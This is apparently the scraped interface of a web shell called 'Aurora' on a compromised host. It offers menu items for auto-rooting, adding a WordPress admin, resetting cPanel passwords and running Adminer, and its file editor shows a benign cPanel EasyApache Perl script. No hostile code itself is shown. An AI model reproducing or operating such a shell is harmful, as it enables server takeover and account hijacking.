Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
local
bin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: ea_current_to_profile
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - ea_current_to_profile Copyright(c) 2022 cPanel, Inc. # All rights Reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; package ea_cpanel_tools::ea_current_to_profile; use Cpanel::PackMan; use Cpanel::Config::Httpd; use Cpanel::JSON; use Cpanel::Time::Local; use Path::Tiny 'path'; our $ea4_profiles_dir = '/etc/cpanel/ea4/profiles'; our $_max_attempts = 20; our $manifest_file = "/etc/cpanel/ea4/profiles/pkg-manifest.json"; our $ea4_metainfo_file = '/etc/cpanel/ea4/ea4-metainfo.json'; our $pkg_renames_file = '/etc/cpanel/ea4/target-os-pkg-renames.json'; our %safe_to_ignore = ( 'ea-brotli' => 1, 'ea-brotli-devel' => 1, 'ea-libargon2' => 1, 'ea-libargon2-devel' => 1, 'ea-libcurl' => 1, 'ea-libcurl-devel' => 1, 'ea-libnghttp2' => 1, 'ea-libxml2' => 1, 'ea-libzip' => 1, 'ea-nghttp2' => 1, 'ea-oniguruma' => 1, 'ea-oniguruma-devel' => 1, 'ea-openssl11' => 1, 'ea-openssl11-devel' => 1, 'ea-openssl11-libs' => 1, 'ea-openssl' => 1, 'ea-openssl-devel' => 1, 'ea-openssl-libs' => 1, 'ea-php73-libc-client' => 1, 'ea-php74-libc-client' => 1, 'ea-php80-libc-client' => 1, 'ea-php81-libc-client' => 1 ); our %os_type = ( "CentOS_7" => "rpm", "CentOS_8" => "rpm", "CentOS_9" => "rpm", "xUbuntu_20.04" => "deb", "xUbuntu_22.04" => "deb", ); exit( script(@ARGV) ) unless caller(); sub script { my (@args) = @_; my $custom_json; my $new_name; my $target_os; my $manifest_os; my $modified = 0; my $source_pkmgr = -x '/usr/bin/apt' ? 'deb' : 'rpm'; # We need to get OS aliases my %ea4_metainfo = %{ Cpanel::JSON::LoadFile($ea4_metainfo_file) }; my %obs_project_aliases = %{ $ea4_metainfo{obs_project_aliases} }; die "obs_project_aliases is empty" if ( !%obs_project_aliases ); foreach my $arg (@args) { if ( $arg eq "--help" ) { my $os_string = join( ' ', keys %obs_project_aliases ); print <<USAGE; $0 [--help] [--output=profile_file] [--target-os=os] Take the current ea rpms and create a custom profile. Profile is written to /etc/cpanel/ea4/profiles/custom --output=profile_file, where the profile is written to. Note: forcefully overwrites the profile_file if it already exists. --target-os=os [$os_string] USAGE exit 0; } elsif ( $arg =~ m/^--output=(.*)$/ ) { $custom_json = $1; my @path = split( /\//, $custom_json ); $new_name = $path[-1]; } elsif ( $arg =~ m/^--target-os=(.*)$/ ) { $target_os = $1; die "Not a valid OS ($target_os)" if !exists $obs_project_aliases{$target_os}; $manifest_os = $obs_project_aliases{$target_os}; } else { die "Unknown argument “$arg”\n"; } } my @addl_prefixes = eval { map { $_->basename } path("/etc/cpanel/ea4/additional-pkg-prefixes/")->children; }; die "May only be run if you are using EasyApache 4" if ( !Cpanel::Config::Httpd::is_ea4() ); my @pkgs_have = Cpanel::PackMan->instance->list( state => "installed", 'prefix' => 'ea-' ); @pkgs_have = grep !/ea-profiles-cpanel/, @pkgs_have; my $prefix_piped = "ea"; for my $prefix (@addl_prefixes) { push @pkgs_have, Cpanel::PackMan->instance->list( state => "installed", 'prefix' => "$prefix-" ); for my $ig ( keys %safe_to_ignore ) { $ig =~ s/^ea-/$prefix-/; $safe_to_ignore{$ig} = 1; } $prefix_piped .= "|$prefix"; } my $prefix_qr = qr/(?:$prefix_piped)/; my $custom_dir = $ea4_profiles_dir . "/custom"; mkdir $custom_dir if !-d $custom_dir; die "Cannot create $custom_dir" if !-d $custom_dir; my @tags; # this heuristic is fragile but at least attempts to create tags foreach my $pkg (@pkgs_have) { if ( $pkg =~ m/^($prefix_qr)-apache(\d)(\d)$/ ) { push( @tags, "Apache $2.$3 ($1)" ); } if ( $pkg =~ m/^($prefix_qr)-php(\d)(\d)$/ ) { push( @tags, "PHP $2.$3 ($1)" ); } if ( $pkg =~ m/^($prefix_qr)-php(\d)(\d)-opcache$/ ) { push( @tags, "PHP $2.$3 OpCache ($1)" ); } if ( $pkg =~ m/^($prefix_qr)-apache(\d)(\d).mod.(mpm_.*)$/ ) { push( @tags, "MPM $2.$3 $4 ($1)" ); } if ( $pkg =~ m/^($prefix_qr)-apache(\d)(\d).mod.(ruid.*)$/ ) { push( @tags, "$4 $2.$3 ($1)" ); } } my %extra_meta; if ($target_os) { $extra_meta{os_upgrade} = { source_os => scalar( _get_src_os() ), target_os => $target_os, target_obs_project => $manifest_os, dropped_pkgs => {}, # do it here so it is included even when there are no packages dropped renamed_pkgs => {}, # do it here so it is included even when there are no packages renamed ignored_deps => {}, # do it here so it is included even when there are no ignored deps }; my %manifest = %{ Cpanel::JSON::LoadFile($manifest_file) }; my %experimental = map { _normalize_pkg($_) => 1 } @{ $manifest{'EA4-experimental'}->{$manifest_os} }; # merge the repos to make lookup easy my %lookup; foreach my $repo ( keys %manifest ) { foreach my $pkg ( @{ $manifest{$repo}->{$manifest_os} } ) { my $normalized_pkg = _normalize_pkg($pkg); $lookup{$normalized_pkg} = 1; } } my ( $renames_hr, $ignore_deps_hr ) = _load_pkg_renames($manifest_os); my %renames = %{$renames_hr}; # Pre-compute which renames will fire and collect their ignore_deps patterns my %pkgs_have_lookup = map { _normalize_pkg($_) => 1 } @pkgs_have; my @all_ignore_patterns; for my $old ( keys %renames ) { my $new_name = $renames{$old}; if ( exists $pkgs_have_lookup{$old} && exists $lookup{$new_name} && !exists $experimental{$new_name} && exists $ignore_deps_hr->{$old} ) { push @all_ignore_patterns, @{ $ignore_deps_hr->{$old} }; } } my @output_pkgs; my @removed_pkgs; foreach my $pkg (@pkgs_have) { my $npkg = _normalize_pkg($pkg); if ( exists $renames{$npkg} ) { my $new_name = $renames{$npkg}; if ( exists $lookup{$new_name} && !exists $experimental{$new_name} ) { print " $npkg has been renamed to $new_name on $target_os\n"; push( @output_pkgs, $new_name ); $extra_meta{os_upgrade}{renamed_pkgs}{$npkg} = $new_name; $modified = 1; next; } } # Skip packages that match ignore_deps patterns from active renames if ( @all_ignore_patterns && _pkg_matches_ignore( $npkg, \@all_ignore_patterns ) ) { $extra_meta{os_upgrade}{ignored_deps}{$npkg} = 1; $modified = 1; next; } if ( !exists $lookup{$npkg} || exists $experimental{$npkg} ) { push( @removed_pkgs, $npkg ); $modified = 1; } else { push( @output_pkgs, $pkg ); } } if (@removed_pkgs) { my $flag = 0; foreach my $pkg (@removed_pkgs) { if ( !exists $safe_to_ignore{$pkg} && substr( $pkg, -10, 10 ) ne '-debuginfo' ) { print "The following packages are not available on $target_os and have been removed from the profile\n" if !$flag; print " $pkg"; print " (EA4-experimental packages are not preserved during OS upgrades)" if ( exists $experimental{$pkg} ); print "\n"; $flag = 1; $extra_meta{os_upgrade}{dropped_pkgs}{$pkg} = exists $experimental{$pkg} ? "exp" : "reg"; } } print "\n" if $flag; } @pkgs_have = @output_pkgs if ( @removed_pkgs || %{ $extra_meta{os_upgrade}{renamed_pkgs} } || %{ $extra_meta{os_upgrade}{ignored_deps} } ); } if ( !defined $custom_json ) { my $ts = Cpanel::Time::Local::localtime2timestamp(); $new_name = "Current EA4 State at " . $ts; my $fs_ts = substr( $ts, 0, 19 ); $fs_ts =~ s/ /_/g; $custom_json = $custom_dir . "/" . "current_state_at_" . $fs_ts . ".json"; if ( $modified && $target_os ) { $new_name .= " modified for $target_os" if ( $modified && $target_os ); my $xtarget_os = "_modified_for_$target_os"; $xtarget_os =~ s/ /_/g; $custom_json = $custom_dir . "/" . "current_state_at_" . $fs_ts . $xtarget_os . ".json"; } } my $custom_profile = { name => $new_name, desc => "Auto Generated profile", version => "1.0", pkgs => \@pkgs_have, tags => \@tags, %extra_meta, }; path($custom_json)->spew( Cpanel::JSON::pretty_dump($custom_profile) ); die "Could not create a new custom json file" if ( !-f $custom_json ); print $custom_json; return 0; # return is exit status } ############### #### helpers ## ############### sub _get_src_os { my $src_os = eval { require Cpanel::OS; Cpanel::OS::display_name(); }; $src_os //= `grep PRETTY_NAME /etc/os-release | sed 's/^PRETTY_NAME=//' | tr -d '"' | tr -d "'"`; chomp $src_os; $src_os ||= 'Unknown. Server does not have Cpanel::OS or /etc/os-release (or /etc/os-release does not have PRETTY_NAME=…)'; return $src_os; } sub _normalize_pkg { my ($pkg) = @_; $pkg =~ s/_/-/g; return $pkg; } sub _load_pkg_renames { my ($manifest_os) = @_; return ( {}, {} ) if !-f $pkg_renames_file; my $all_renames = eval { Cpanel::JSON::LoadFile($pkg_renames_file) } || {}; my $os_renames = $all_renames->{$manifest_os} || {}; my %normalized; my %ignore_deps; for my $old ( keys %{$os_renames} ) { my $entry = $os_renames->{$old}; my $n_old = _normalize_pkg($old); if ( ref $entry eq 'HASH' ) { $normalized{$n_old} = _normalize_pkg( $entry->{to} ); if ( ref $entry->{ignore_deps} eq 'ARRAY' && @{ $entry->{ignore_deps} } ) { $ignore_deps{$n_old} = $entry->{ignore_deps}; } } else { $normalized{$n_old} = _normalize_pkg($entry); } } return ( \%normalized, \%ignore_deps ); } sub _pkg_matches_ignore { my ( $pkg, $patterns_ar ) = @_; for my $pat ( @{$patterns_ar} ) { if ( $pat =~ m{^/(.+)/$} ) { my $re = $1; return 1 if $pkg =~ m/$re/; } else { return 1 if _normalize_pkg($pat) eq $pkg; } } return 0; } 1;